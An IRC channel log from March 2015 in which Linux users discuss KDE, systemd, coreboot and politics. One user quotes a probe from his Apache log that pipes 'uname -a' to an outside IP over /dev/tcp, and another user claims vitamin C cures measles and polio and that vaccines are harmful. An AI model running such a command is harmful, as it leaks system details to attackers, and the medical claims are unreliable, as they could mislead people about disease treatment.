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msb_Regarding KDE, one must distinguish between KDE3/TrinityDE and KDE4.  I'm still using KDE3 and it works fine.  I'm using some KDE4 apps with it -- konversation, konsole, okular, SysMon -- as they have been improved.Mar 08 06:05
cubexyzmsb_, the worry now is that trinity start using systemdMar 08 06:07
cubexyzwill start using systemdMar 08 06:07
msb_But KDE4 itself has severe problems (in addition to soon adopting systemd):  The 20 virtual desktops, which I find extremely important for keeping my desktop uncluttered by having separate ones for Mail, Music, Website, cannot be used in KDE4 because the desktop names are not visible in the desktop selector (pager) buttons.Mar 08 06:08
msb_cubexyz: IMar 08 06:08
cubexyzmaybe one can run it without systemd, I don't know what's happening there yetMar 08 06:08
msb_I'm on the TDE lists and they swear they will not use systemd.Mar 08 06:09
cubexyzmsb_, okMar 08 06:09
msb_A lot of TDE people hate systemd.  They're no fools!Mar 08 06:09
cubexyzthat's good newsMar 08 06:09
cubexyzI have the full source code of KDE 3.4.2 and also 3.5.10 Mar 08 06:09
msb_Great!  Please especially keep the source of KDE3.5.10.Mar 08 06:10
cubexyzyears ago 3.4.2 disappeared, so I archived 3.5.10 as wellMar 08 06:10
msb_I'm using 3.5.10 and have been for years.Mar 08 06:11
cubexyzis there any distro that is trinity oriented?Mar 08 06:11
cubexyzI haven't looked at it in a whileMar 08 06:11
msb_If I have to load in some extra libs like Qt to run it or TDE with a future distro, that's fine with me.Mar 08 06:12
cubexyzQ4OS seemed like it's a trinity dealMar 08 06:13
cubexyzhttp://q4os.orgMar 08 06:13
msb_I have 8GB of RAM now and TBs of disk, so using additional libs is fine with me.  I don't care about such "bloat" as long as it serves a purpose.Mar 08 06:13
-TechrightsBot-tr/#techrights-q4os.org | Q4OS - desktop operating systemMar 08 06:13
cubexyzyou're no minimalist :)Mar 08 06:14
msb_I keep old libs around to run apps I like such as xmms, for which I have hundreds of little equalizer files for songs.Mar 08 06:14
msb_I don't want to waste space, but minimizing it is a low priority.Mar 08 06:15
cubexyzhmmm...debian basedMar 08 06:17
msb_Looking like MSWindows is a negative for m3!Mar 08 06:18
msb_me!Mar 08 06:18
msb_Linux is part of my soul!Mar 08 06:18
msb_MS is from Satan!Mar 08 06:18
cubexyzdidn't you use Unix before you got into Linux?Mar 08 06:19
msb_Anyhow, I'm used to an RPM system, but I don't mind switching to apt with Devuan,Mar 08 06:20
msb_One of TDE's primary builds is for Debian, so presumably it will work fine with Devuan.Mar 08 06:22
msb_Yep!Mar 08 06:22
msb_Remote user at U of Pennsylvania.  Via phone modem, and terminal emulator up/downloader I wrote in BASIC.Mar 08 06:23
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msb_Then I switched to some local (Si Valley) ISP whose name I forget at the moment that was cheaper.  They gave us all of 10MB space in our accounts.  wowie.Mar 08 06:26
msb_It was Netcom.Mar 08 06:26
msb_I helped them in a war against Scientology!Mar 08 06:27
cubexyzthe one thing that bothers me about computers is there was never a computer that came with full source codeMar 08 06:27
cubexyzmaybe the PDP-11, but I don't really knowMar 08 06:28
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msb_Well, today's desktops, plus Linux, are well defined at the module level at least.Mar 08 06:28
msb_If you use AMD and not evil Intel, at leastMar 08 06:29
msb_!Mar 08 06:29
cubexyzI got to look at secure boot source code the other dayMar 08 06:30
msb_For $800 today, how many times the performance of an 11/70 do we get?Mar 08 06:30
cubexyzit's massive :-/Mar 08 06:30
msb_But can CoreBoot be substituted for it?Mar 08 06:31
cubexyzgood questionMar 08 06:31
msb_At least with an AMD cpu.Mar 08 06:31
cubexyzI probably can reflash it with a test keyMar 08 06:32
cubexyzexcept I don't have the toolchain as yet (which is all microsoft)Mar 08 06:32
cubexyzoh I have the full source for secure boot so... :)Mar 08 06:32
cubexyzfor my own box, yes I can do what I want with the test key I haveMar 08 06:33
msb_Does coreboot live on disk and get read in by the mobo eprom boot code.  Or do you flash coreboot onto the mobo eprom?Mar 08 06:33
cubexyzI use an eprom programmer for thatMar 08 06:33
cubexyzyes, it's programmed on the flash chipMar 08 06:34
msb_Is that chip in a socket?Mar 08 06:34
cubexyzsometimes it isMar 08 06:34
msb_On modern mobos?Mar 08 06:34
cubexyzummm, I'm probably out of date on the newest stuffMar 08 06:34
msb_eprom programmers are cheap enoughMar 08 06:35
msb_$50 or so.,Mar 08 06:35
cubexyzBX chipset is the one I know best, spent a lot of time on thatMar 08 06:35
msb_how old is that?Mar 08 06:36
cubexyzP3 era :)Mar 08 06:36
cubexyzif you want coreboot then the easiest way is to buy a chromebook and stick linux on itMar 08 06:38
msb_Eventually I want to upgrade to that 8-core amd cpu FX8350 -- cheap and fast enough.  That should hold me for 8 years or so.  8^)Mar 08 06:38
msb_I might want a notebook too, but mainly I want a desktop -- lots of RAM and disk.Mar 08 06:39
msb_I like to keep lots of music movies and TV spinning in case I get an urge.Mar 08 06:40
msb_It's part of my mind, after all.Mar 08 06:40
cubexyzI'll probably get a X60 thinkpadMar 08 06:41
msb_My external memory, as they say in Ghost in the Shell.Mar 08 06:41
cubexyzyou have to be pretty knowledgeable about the hardware to actually edit BIOSMar 08 06:42
cubexyzif you mess up... it's brick timeMar 08 06:42
cubexyzof course with a socketed flash chip... no big dealMar 08 06:43
msb_JUst what I was going to say!Mar 08 06:43
cubexyzI fear the new motherboards are not socketedMar 08 06:43
msb_Is it possible to program a sockMar 08 06:45
msb_Is it possible to program a soldered in eprom with a clip-on cable?Mar 08 06:45
msb_...from a programmer?Mar 08 06:45
cubexyzsureMar 08 06:46
msb_Really?  without damaging the drivers on the mobo?Mar 08 06:46
cubexyzusually one would desolder the eprom Mar 08 06:47
msb_driver chips/transistorsMar 08 06:47
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msb_well, then you'd put in a socketMar 08 06:47
cubexyzzif socket yes :)Mar 08 06:47
cubexyzI glued push pins on mineMar 08 06:48
msb_Well,, a mobo costs $200 or less, so if it gets fucked up its not the end of the world.Mar 08 06:48
cubexyzbut it was already socketed, the push pins just help get the chip off the boardMar 08 06:48
msb_Interesting!Mar 08 06:49
msb_zif is idealMar 08 06:49
cubexyzyes, zif would have been betterMar 08 06:49
msb_We will figure out how to do this and then we will have Freedom!Mar 08 06:50
cubexyzmy Plan 9 computer has coreboot :)Mar 08 06:50
msb_And we'll tell everyone else in the World about it!Mar 08 06:50
msb_Bravo!Mar 08 06:50
cubexyzthe hackers have already cracked secure boot actuallyMar 08 06:51
cubexyzI figured they wouldMar 08 06:51
msb_Great!Mar 08 06:51
msb_They always do!Mar 08 06:51
cubexyzthe tide has turned I think.... you can buy chromebooks in lots of stores, and also chromeboxesMar 08 06:53
cubexyzI think the chromeboxes have coreboot as wellMar 08 06:53
msb_Cool!Mar 08 06:53
msb_http://www.imdb.com/title/tt0218817/combinedMar 08 06:54
-TechrightsBot-tr/#techrights-www.imdb.com | Antitrust (2001) [ http://ur1.ca/jvb0z ]Mar 08 06:54
msb_You've seen that movie?Mar 08 06:54
cubexyzno, I haven't watched it as yetMar 08 06:55
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cubexyzall chromeboxes have corebootMar 08 06:58
msb_check your mailMar 08 06:59
msb_It's a super-great anti-MS movie.Mar 08 07:00
msb_MS murders open-source developers for their code.Mar 08 07:01
cubexyzyeah no wonder it was put out in 2001Mar 08 07:12
cubexyzin 2000 M$ had pretty well reached their peakMar 08 07:13
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msb_New anime' on Cartoon Network -- Kill LaKill.  Girl's magical uniform gives her superpowers, but only if she dresses with her breasts partly showing.Mar 08 08:43
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MinceRhttp://i.imgur.com/VennegN.jpgMar 08 10:19
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cubexyzthat just shows how gullible people are :)Mar 08 10:28
MinceRindeedMar 08 10:29
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msb_People are bombarded by mass media with the names and doings of movie/tv actors, sports players, musicians/singers, and they know these things.  Mar 08 13:48
msb_But they know nothing about elementary chemistry, physics, biology, and can't do arithmetic (which they call "math").Mar 08 13:49
msb_So the rulers can push any sort of toxic drugs, pollution, poisoned food, etc., on them, and as long as it's accompanied by lying propaganda in the MSM that it's OK, they go for it.Mar 08 13:50
msb_And call anyone who tries to tell them the truth a "conspiracy theorist".Mar 08 13:51
MinceRon the flip side, people who know nothing about elementary chemistry get scared about every chemicalMar 08 13:51
msb_Purposely programmed ignorance and stupidity.Mar 08 13:51
msb_But the MSM doesn't tell them about chemicals.Mar 08 13:52
msb_So they don't get scared, but just "consume".Mar 08 13:53
msb_e.g., GMMar 08 13:53
msb_e.g., GMO food, vaccinesMar 08 13:53
MinceRfor example, some people get scared by "E-numbers", regardless of what chemical they coverMar 08 13:54
msb_info on Vit. C is suppressed so that billions of $ a year can be made on flu symptom drugs and vaccinesMar 08 13:55
msb_E-number food ingredients?   Those are not used in US food labelling.Mar 08 13:56
msb_Which is a good thing because there's no way to find out what they mean in the grocery store.Mar 08 13:57
MinceRyeah, it's not like you have a mobile device with internet connection and a web browser :>Mar 08 13:57
msb_Even if  you do it's much better to have the actual name of the chemical on the package label.Mar 08 13:58
msb_E-numbers are probably used to hide the info from the buyer.Mar 08 13:59
msb_.Mar 08 14:06
msb_My car battery is flat but I can't jump it because it's up against a wall, and won't  shift into neutral with the battery dead.Mar 08 14:07
msb_So I bought a gadget from Amazon that's supposed to charge it via the cig lighter socket.  Will try it today.Mar 08 14:08
MinceRautomatic transmission prevents shifting into neutral with the battery dead?Mar 08 14:08
msb_Tried 8 auto stores around here and none of them sell it.Mar 08 14:08
MinceRalso, can't you just open the hood, take the battery out (or just disconnect it) and charge it?Mar 08 14:09
msb_On a Mitsubishi Outlander.  Mar 08 14:09
msb_WHich also gets 11mpg city instead of the advertised 19.Mar 08 14:09
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msb_I call the car Hiroshima's Revenge.Mar 08 14:09
msb_The hood is under an overhang in the carport and can't be raised.Mar 08 14:10
MinceRlolMar 08 14:10
msb_At least it has a powerful engine and a lot of cargo space -- SUV.Mar 08 14:11
msb_And 4 wheel drive.Mar 08 14:13
msb_The engine will skid the tires if you apply too much power.Mar 08 14:14
msb_The steering is tight - very little play.Mar 08 14:14
MinceRdoesn't sound like a bad carMar 08 14:15
msb_except for the low mileage, and now this shifter problemMar 08 14:15
MinceRSUVs tend to have low mileageMar 08 14:15
MinceRand the current problem sounds like it's parked in the wrong placeMar 08 14:15
msb_sure, but only 58% of advertised value?Mar 08 14:16
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msb_It's parked in my apartment's designated space -- the only one I have.Mar 08 14:17
msb_If I'd known I was going to be housebound with medical problems for 6 months I would have had someone run it occasionally to keep it charged.  Now I know.Mar 08 14:17
MinceRicMar 08 14:17
msb_The circuit pod in the jumper cable is pretty heavy, so maybe it contains current-limiting ciruitry to avoid blowing the cig lighter fuse.Mar 08 14:19
MinceRi hope that gadget worksMar 08 14:19
msb_I was going to make my own jumper from a cig lighter  plug, which I probably could get locally, but that might have blown the 10 amp fuse.Mar 08 14:20
msb_Thanks!Mar 08 14:20
msb_It has good reviews in Amazon.Mar 08 14:20
msb_Only cost about $30 with shipping.Mar 08 14:20
msb_Charging may take 15 minutes or more.Mar 08 14:21
msb_It can]Mar 08 14:21
msb_It can't carry the starting current like jumper cables can.Mar 08 14:22
MinceRhttps://fbcdn-sphotos-b-a.akamaihd.net/hphotos-ak-xpf1/t31.0-8/p960x960/11020459_869334836458228_5241808518850881002_o.jpgMar 08 14:23
msb_What does that say?  Prize pigs?Mar 08 14:24
msb_Sorry, I can't read Russian, and can't get the text into google translate.Mar 08 14:27
msb_I dishonor my ancestors.  8^)Mar 08 14:28
msb_MinceR: Please tell me.  It can't be as bad as your "Putler" picture.Mar 08 14:29
msb_Come on.  Or I will have to ask XRevan86 when he comes back.Mar 08 14:30
MinceRdunno, it says something about the 15th of marchMar 08 14:32
MinceRwhich is the anniversary of a hungarian revolutionMar 08 14:33
MinceRand the cockades would normally be in the colors of the hungarian flag, of courseMar 08 14:33
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MinceRas it turns out, the text basically means the celebration of the 15th of marchMar 08 14:34
msb_Thanks! I was about to spend a couple of hours getting an OCR program running.Mar 08 14:35
msb_I think "Prize Pigs" would be a pretty good caption.Mar 08 14:35
MinceRi just typed in the romanized version of the first word in google translate and have it transliterate it to russian cyrillic :>Mar 08 14:36
MinceRlolMar 08 14:36
MinceR(i was too lazy to bring up a phonetic russian keyboard layout)Mar 08 14:36
msb_Sometimes google-translate doesn't work very well.Mar 08 14:38
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MinceRit tends to act like a dictionary if it's given a single wordMar 08 14:41
MinceRlisting meanings, etc.Mar 08 14:42
msb_That's good.Mar 08 14:42
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cubexyzmsb_> But they know nothing about elementary chemistry, physics, biology, and can't do arithmetic (which they call "math")Mar 08 23:48
cubexyzwell in this day and age of free online information there's really no excuseMar 08 23:49
cubexyzthe only thing is, if you're really poor you might not have easy access to internetMar 08 23:49
MinceRit's easier to regurgitate memes than to learnMar 08 23:50
msb_In order to make people easier to control, the rulers program them NOT to think.Mar 08 23:52
MinceRfor many people, it might be as easy as not teaching them to think [critically]Mar 08 23:52
msb_The JCI religions do that: "Believe that this undetectible God created and controls the Universe, or I'll punish you."Mar 08 23:53
msb_MinceR: Maybe.  It's hard to tell.Mar 08 23:54
msb_But there is heavy programming to not think.Mar 08 23:54
msb_"sit in this chair for 12 years, remember what I tell you and give you to read.  don't question it, or you will not succeed in life."Mar 08 23:55
MinceRyeah, religion helps a lotMar 08 23:55
MinceRthen again, people left to themselves come up with religion eventuallyMar 08 23:56
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msb_In any case, as cubexyz said, info on science is now available for free, and accessing it gives some training in thinking.Mar 08 23:57
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cubexyzthere's ALISON and MIT OpenCourseware... the only limit is a computer with an internet connectionMar 08 23:59
msb_Any person whose bogus beliefs we are talking about, we have learned about via the Net, so they do have Net access.Mar 08 23:59
msb_cubexyz: Never heard of those.  I just use wikipedia and google.Mar 09 00:00
cubexyzI was so disappointed that an old associate of mine who had a background in chemisty said he forgot his book with the periodic tableMar 09 00:01
cubexyzhe was a microsoft windows user... I felt like yelling at him... why don't you use kalzium?Mar 09 00:01
MinceRwikipedia has a periodic table too :>Mar 09 00:01
MinceRand uncyclopedia has an idiotic table insteadMar 09 00:02
cubexyzof course I didn't want to get into the windows/linux argument yet againMar 09 00:02
cubexyzok :)Mar 09 00:02
msb_is kalzium a kde program?Mar 09 00:02
cubexyzmsb_, yesMar 09 00:02
msb_must be kde4 -- I don't have itMar 09 00:03
cubexyzit's notMar 09 00:03
cubexyzit's been around a long timeMar 09 00:03
cubexyzit might not be part of kdebase thoughMar 09 00:03
cubexyzintroduced with KDE 3.1 I believeMar 09 00:04
cubexyzmsb_, ALISON is quite nice, good for a refresher courseMar 09 00:05
cubexyzhttp://www.alison.comMar 09 00:05
-TechrightsBot-tr/#techrights-alison.com | Free Online Courses, Workplace Skills Training, Interactive Education and Multimedia Learning | ALISONMar 09 00:05
msb_getting it now, bringing in a lot of stuffMar 09 00:06
cubexyzpart of kdeeduMar 09 00:07
msb_ocaml, libavogadro -- who woulda thunk it!Mar 09 00:07
cubexyzit's awkward for me with a few of my friends, a couple of them even want to work for microsoft :-/Mar 09 00:08
cubexyzI feel my relatively early exposure to Xenix helped me learn Minix/Linux/BSD etcMar 09 00:10
msb_My parents told me to work for ms.Mar 09 00:13
msb_kalzium is very nice!Mar 09 00:13
cubexyzit is :)Mar 09 00:13
cubexyzto me, Linux has become the thinker's OSMar 09 00:14
msb_The one the Suse repo gave me is from KDE4.6.0Mar 09 00:14
msb_cubexyz: absolutely!Mar 09 00:14
msb_That's why we must fight mightily to free it from systemd!Mar 09 00:15
msb_On the subject of thinking, in order to be truly conscious, one must be able to examine one's own mind -- to hold it as an object of contemplation, and to investigate where each of our beliefs came from.Mar 09 00:17
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msb_Only then can we use logical principles like non-contradiction, and organic principles like do-no-harm and help-where-possible, to shape/guide our belief structure -- our model of the Universe and of ourself -- to be accurate.Mar 09 00:20
msb_...as accurate as we can be, which is a moving goal.Mar 09 00:21
msb_To me, that is critical thinking.Mar 09 00:22
msb_I think that people who don't do that do not have free will.Mar 09 00:23
msb_They are controlled by others!Mar 09 00:23
msb_They are sleepwalkers.Mar 09 00:23
msb_Perhaps some old Greek philosophers realized this, I don't know.  But I got it from Gurdjieff, who called it self-observation.  Best accessed in PD Ouspensky's book _In Search of the Miraculous_.Mar 09 00:26
cubexyzI'm not sure how bad the non-thinking trend isMar 09 00:26
MinceRseems pretty badMar 09 00:26
cubexyzjudging purely by operating system choices it seems bad Mar 09 00:26
MinceRbetween religion, the move towards more restrictive political systems and the fall of general-purpose computingMar 09 00:26
msb_Also by religions.  Islam -- gag!Mar 09 00:26
MinceRincreasing anti-science stancesMar 09 00:27
cubexyzin the USA yes, but what about Europe?Mar 09 00:27
cubexyzEuropeans generally seem to be well educatedMar 09 00:28
msb_MinceR: the label "anti-science" is also used by the rulers to smear people who talk about the harms caused by vaccines.Mar 09 00:28
cubexyzof course there are smart well educated Americans alsoMar 09 00:29
MinceRmsb_: anti-vaxxers are anti-scienceMar 09 00:29
MinceRcubexyz: in europe, hungary turned into a christian fundamentalist dictatorshipMar 09 00:29
MinceRand putler's hordes are annexing parts of the next countryMar 09 00:30
MinceRnobody seems to mind it muchMar 09 00:30
MinceRand our rights are being taken away pretty much the same as in the usaMar 09 00:30
msb_MinceR: there are many good videos and websites on the harm caused by vaccines.  Will you access some if I point you to them?Mar 09 00:30
MinceRmsb_: sometime maybeMar 09 00:31
MinceRmeanwhile, plagues we thought to have defeated have risen up again, thanks to anti-vaxxer histeriaMar 09 00:31
MinceRs/his/hys/Mar 09 00:31
msb_And of course Ukraine was taken over by US-backed Nazis, and Putin annexed Crimea after an overwhelming vote by its citizens to join Russia.Mar 09 00:32
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msb_Vitamin C immediately remedies viral "plagues" like the now-dreaded measles.  Mar 09 00:33
msb_But that knowledge has been suppressed by the rulers.Mar 09 00:33
MinceRyes, ukraine is being annexed by putler's nazisMar 09 00:35
msb_MinceR: you are living about 60 years ago.Mar 09 00:36
MinceRmsb_: no, your favorite dictator isMar 09 00:36
MinceRmsb_: do you have reproduced, peer-reviewed studies regarding vaccines and vitamin c or just timecube-like ramblings?Mar 09 00:37
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msb_I have articles about Klenner curing polio with it in moderated doses in the 1950s.Mar 09 00:38
msb_Websites with many articles by MDs.Mar 09 00:38
msb_I saw it cure measles in a few hours personally.Mar 09 00:39
MinceRno double-blind testing, no control groupMar 09 00:39
MinceRno peer reviewMar 09 00:39
MinceRnot reproducibleMar 09 00:39
MinceRsounds like science to me!Mar 09 00:39
msb_MinceR: You are lying when you say Putin is a dictator, and my favorite.  You refuse to give quotes from me to justify your lies.Mar 09 00:40
msb_People don't do double-blind studies with Mar 09 00:40
msb_Vit. Mar 09 00:40
MinceRyou're trying to whitewash putler because you can't see beyond the most primitive symbols fascists use to try and make themselves seem different from the other fascistsMar 09 00:41
msb_Vit.  C because there is no one to pay for them.  Big Pharma can't make money by selling it.Mar 09 00:41
MinceRyet they sell itMar 09 00:41
MinceRbut i'm sure you have proof that it's a charity.Mar 09 00:41
msb_MinceR: It's impossible to have a coherent discussion with you about areas where your beliefs are untrue.Mar 09 00:44
msb_MinceR: Because you constantly misrepresent what I've said, and you constantly use straw-man arguments.Mar 09 00:44
msb_MinceR: You are not intellectually honest.Mar 09 00:45
MinceRmsb_: it's impossible to have a discussion you consider coherent where someone else doesn't agree with your beliefsMar 09 00:45
MinceRmsb_: you also have no idea what science or a dictatorship isMar 09 00:45
msb_MinceR: You assign aberrant meanings to words, thus making discussion impossible.Mar 09 00:46
MinceRyou have never asked what meaning i assigned to words and you appear to be unaware of the generally accepted meanings of wordsMar 09 00:47
msb_you use "fascist" to mean "authoritarian".Mar 09 00:47
MinceRwhich is a generally accepted usageMar 09 00:48
msb_And you claim that all socialism is authoritarian.Mar 09 00:48
MinceRbut i'm sure you believe that if an authoritarian regime is decorated with five-pointed stars, sickles and hammers, it's not authoritarian anymoreMar 09 00:48
MinceRmany hungarians believe the same, while many others believe the same for swastikas and arrow-crosses.Mar 09 00:49
msb_that "generally accepted usage" is promoted by fascist rulers to prevent people from thinking about democratic socialismMar 09 00:49
MinceRthere's no democratic socialism in practice.Mar 09 00:49
msb_You are lying about what you claim I beliefe.Mar 09 00:49
MinceRthe countries you keep pointing as "democratic socialism" are either not democratic (the usual case) or not socialist.Mar 09 00:49
msb_Venezuela, Nicaragua, Libya before the US destroyed it -- all democratic, and all largely socialist.Mar 09 00:50
MinceRby the way, i've seen pretty close people who switched symbols between the two camps and kept the practicesMar 09 00:50
MinceRi'm being ruled by them.Mar 09 00:51
MinceRand they love your favorite dictator, too.Mar 09 00:51
MinceRi will not comment on whether those are socialist, as you like to practice doublethink in this case, but neither of those are democratic.Mar 09 00:52
msb_MinceR: Again, and constantly, you lie about "your favorite dictator".Mar 09 00:52
MinceRwhy, is there any other dictator you were trying to whitewash as often here?Mar 09 00:52
msb_MinceR: Again, and constantly, you are lying using straw-man technique.Mar 09 00:53
MinceRevading the question.Mar 09 00:53
msb_MinceR: Your "question" contains lies and therefore cannot be answered.Mar 09 00:54
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msb_http://hf.dilbert.com/strip/2015-03-01Mar 09 09:45
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cubexyzI wonder what this is supposed to do:Mar 09 09:59
cubexyz/bin/uname -a > /dev/tcp/67.228.177.7/23Mar 09 09:59
cubexyzshowed up today in the apache logMar 09 10:00
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msb_cubexyz: Send info about your system to someone so they can A. tabulate how many people are using various kinds of Linux or B. find a weakness in your OS so they can do something horrible to you.Mar 09 11:26
msb_cubexyz: If you can find a picture of the recipient, see if he looks like the guy in the last panel of this cartoon:  http://hf.dilbert.com/strip/2015-02-02Mar 09 11:31
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MinceRgeekingsMar 09 14:16
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gde33MinceR: if you cant critically examine all sides of a topic we will have to make a whole internet filled with the same explainations again and againMar 09 14:55
gde33be careful what you wish forMar 09 14:55
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cubexyzmsb_, my uname returns: 'This is Plan 88 SuperOS' :)Mar 09 22:04
cubexyzthey also try to use /dev/udp/ip-addr/80 but it doesn't workMar 09 22:05
cubexyzit's just 404Mar 09 22:06
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cubexyzhttp://cubexyz.blogspot.ca/2015/03/easy-way-to-get-coreboot.html Mar 10 01:35
-TechrightsBot-tr/#techrights-cubexyz.blogspot.ca | Notes on Linux: Easy Way to Get Coreboot [ http://ur1.ca/jvpo5 ]Mar 10 01:35
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cubexyzmicrosoft patents revealed by Chinese gov:Mar 10 03:26
cubexyzhttp://www.maxhost.org/other/microsoft-patents-revealed.pdfMar 10 03:26
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msb_Holy Crap!  Bit errors that can occur in RAM chips from certain access patterns!    http://googleprojectzero.blogspot.ie/2015/03/exploiting-dram-rowhammer-bug-to-gain.htmlMar 10 04:15
-TechrightsBot-tr/#techrights-googleprojectzero.blogspot.ie | Project Zero: Exploiting the DRAM rowhammer bug to gain kernel privileges [ http://ur1.ca/jvqaa ]Mar 10 04:15
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cubexyzha, my older DRAM is safe :)Mar 10 04:23
cubexyzbut I'll get a mag core just to be sureMar 10 04:23
cubexyzcosmic rays could also flip a bitMar 10 04:27
cubexyzwould be nice to know exactly what DRAM was testedMar 10 04:28
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msb_cubexyz: yes, core planes are safe!Mar 10 05:07
msb_This is like back in the 80s, when RAM chips could flip from alpha particles in the epoxyMar 10 05:08
cubexyzI think they started to switch to semiconductor memory with the PDP-8AMar 10 05:12
msb_I was working with DG Eclipse and 3rd party RAM cards.Mar 10 05:13
msb_IIRCMar 10 05:13
cubexyz12 KW of mag core in the PDP-11/20, but I think it could be expandedMar 10 05:14
cubexyzso the DG Eclipse had dram?Mar 10 05:16
msb_Whatever board we put in it did.Mar 10 05:22
cubexyzI think the last mag core machine from DEC was the PDP-11/45Mar 10 05:22
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cubexyzmsb_, I'm a bit hazy on the memory of the PDP-11/45 Mar 10 06:36
cubexyzdocumentation says you can have magnetic core, MOS or bipolar memoryMar 10 06:36
cubexyznot at all clear if it stacks those or if it's an either/or situationMar 10 06:37
cubexyzbut it does seem that mag core was phased out mostly by the late 1970sMar 10 06:37
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cubexyz11/40 actually came later than the 11/45, starts out with core memory and later on gets MOS memoryMar 10 06:39
cubexyzthat seems to say that it's one or the other, but not bothMar 10 06:40
msb_That is not dead which can eternal lie, And with strange aeons even death may die. -- HP LovecraftMar 10 06:40
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MinceRgeekingsMar 10 12:15
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TweetTuxMachines@tuxmachines     Don't forget one of Linux's best features: HowMar 10 16:42
TweetTuxMachines                 to use multiple workspacesMar 10 16:42
TweetTuxMachines                 http://t.co/fr88IKT9vS (www.tuxmachines.org)Mar 10 16:42
TweetTuxMachines........................................  http://ur1.ca/jvusyMar 10 16:42
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Don't forget one of Linux's best features: How to use multiple workspaces | Tux MachinesMar 10 16:42
TweetTuxMachines@tuxmachines     COM Express module runs Linux on 3.6GHz BaldMar 10 16:42
TweetTuxMachines                 Eagle http://t.co/lSEMPtM4evMar 10 16:42
TweetTuxMachines                 (www.tuxmachines.org)Mar 10 16:42
TweetTuxMachines........................................  http://ur1.ca/jvut0Mar 10 16:42
-TechrightsBot-tr/#techrights-www.tuxmachines.org | COM Express module runs Linux on 3.6GHz Bald Eagle | Tux MachinesMar 10 16:42
MinceRhttp://www.zerohedge.com/news/2015-03-10/apple-watch-may-be-doa-cook-admits-battery-life-low-3-hoursMar 10 16:44
-TechrightsBot-tr/#techrights-www.zerohedge.com | Apple Watch May Be DOA As Cook Admits Battery Life As Low As 3 Hours | Zero Hedge [ http://ur1.ca/jvutq ]Mar 10 16:44
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MinceRhttp://i.4cdn.org/g/1426007608645.jpgMar 10 18:22
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Sosumihttp://www.macrumors.com/2015/03/10/leaked-cia-documents-hacked-xcode/Mar 10 18:54
-TechrightsBot-tr/#techrights-www.macrumors.com | Leaked Documents Suggest CIA Work on Hacked Version of Xcode, OS X Installer Exploit - Mac Rumors [ http://ur1.ca/jvvo8 ]Mar 10 18:54
Sosumiand on the zerohedge articleMar 10 18:54
SosumiI don't see any use for "smart" watchesMar 10 18:54
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Sosumia simple band with sensors would be much more effectiveMar 10 18:55
MinceRi'd rather have a HUD on my glassesMar 10 18:55
Sosumiwell, and maybe that band could include a vibrator for notificationsMar 10 18:56
Sosumibut that is itMar 10 18:56
Sosumiyes augmented reality would be awesomeMar 10 18:56
Sosumibut seriously, the iwatch is and seems like plain junkMar 10 18:56
Sosumimy casio watch seems much more functionalMar 10 18:57
Sosumiplus, it recharges with sunlight and is made out titaniumMar 10 18:57
MinceRand the battery lasts longer than 18 hours :>Mar 10 18:57
Sosumithe battery lasts 3 monthsMar 10 18:58
Sosumidepending on usageMar 10 18:58
MinceRunfortunately, my wrist doesn't tolerate straps wellMar 10 18:58
MinceRso i stopped wearing a watch ages agoMar 10 18:59
Sosumihttp://www.skywatches.com.sg/reviews/media/catalog/product/cache/1/image/040ec09b1e35df139433887a97daa66f/p/r/prg-130t-7v_1.jpgMar 10 18:59
Sosumiit's that oneMar 10 18:59
Sosumiwell I use a wrist watch mostly because I don't always carry a cell phone on meMar 10 19:00
Sosumiand ofc, they don't allow you to use the cell phone for time keeping during testsMar 10 19:00
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Sosumibut what seems ridiculous is that they're making a $10k of itMar 10 19:04
Sosumiand multiple sizesMar 10 19:04
Sosumiinstead of one size fits allMar 10 19:04
MinceR$10k: they know their audienceMar 10 19:04
MinceRmultiple sizes: they don't know their audienceMar 10 19:05
SosumiI think they know nothingMar 10 19:05
MinceR:>Mar 10 19:05
Sosumi10k for watch that after one year is going to become e-wasteMar 10 19:05
Sosuminot to mention the other watchesMar 10 19:06
Sosumiwhy not make it a single model out of steel with 3 types of bracelets and call it a dayMar 10 19:06
MinceR>why not do things that make senseMar 10 19:07
MinceRthey're apple.Mar 10 19:07
Sosumisimpler, more units available and cheaper to produceMar 10 19:07
Sosumiwell, apple during the steve "blobs" day used to have a oversimplified line up of productsMar 10 19:08
Sosumibut now, they're kind of over-stretchingMar 10 19:09
Sosumias for me, I just want the watch to fail miserablyMar 10 19:09
Sosumiand have a laugh at the idiots who actually bought that thingMar 10 19:09
MinceRi want crApple, micro$atan and DeadRat to die togetherMar 10 19:10
Sosumiwhat about novell?Mar 10 19:10
Sosumi:)Mar 10 19:10
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MinceRaren't they dead already?Mar 10 19:12
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Sosumiit was a jokeMar 10 19:18
Sosumi:)Mar 10 19:18
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Sosumihttps://www.schneier.com/blog/archives/2015/03/can_the_nsa_bre_1.htmlMar 10 19:50
-TechrightsBot-tr/#techrights-www.schneier.com | Schneier on Security: Can the NSA Break Microsoft's BitLocker? [ http://ur1.ca/jvw0i ]Mar 10 19:50
MinceRdoes the nsa need to do so?Mar 10 19:52
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SosuminoMar 10 20:33
Sosumior should I sayMar 10 20:34
Sosumisupposedly they don't need toMar 10 20:34
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MinceRhttp://www.ft.com/cms/s/0/1d3e1d64-c0d6-11e4-876d-00144feab7de.html   (google cache circumvents the paywall)Mar 10 21:40
-TechrightsBot-tr/#techrights-www.ft.com | Vladimir Putin’s survival strategy is lies and violence - FT.com [ http://ur1.ca/jvwsb ]Mar 10 21:40
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MinceRhttp://www.euractiv.com/sections/global-europe/romanian-spy-chief-warns-threat-eu-hungary-312302Mar 10 23:56
-TechrightsBot-tr/#techrights-www.euractiv.com | Romanian spy chief warns of ‘threat for EU from Hungary’ | EurActiv [ http://ur1.ca/jvxj1 ]Mar 10 23:57
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cubexyzin a way Chromebooks and Chromeboxes have defeated the Microsoft TaxMar 11 07:59
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roy_back...Mar 11 11:03
msb_roy_: Hi!Mar 11 11:04
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msb_cubexyz: Is it impossible to run MSWindows on the Chrome*, so MS can't claim that's what people are buying them for?Mar 11 11:05
roy_I think it's possibleMar 11 11:06
roy_or becoming possibleMar 11 11:06
roy_as of lateMar 11 11:06
cubexyzyou can't run M$ Windows on Lemote eitherMar 11 11:07
msb_ick!Mar 11 11:07
roy_not that people would want to pay the price of ha;f a chromebook to run a more crappy OS (than ChromeOS)Mar 11 11:07
cubexyzbut chromeboxes are a different storyMar 11 11:07
msb_I'm for software freedom, but I'm glad to see computers that can't run MS-Windows!Mar 11 11:08
cubexyzchromebook/box is still x86Mar 11 11:09
cubexyzLemote is mipsMar 11 11:10
msb_AhMar 11 11:10
cubexyzbut the big thing is that you have a FOSS bios, not a proprietary oneMar 11 11:10
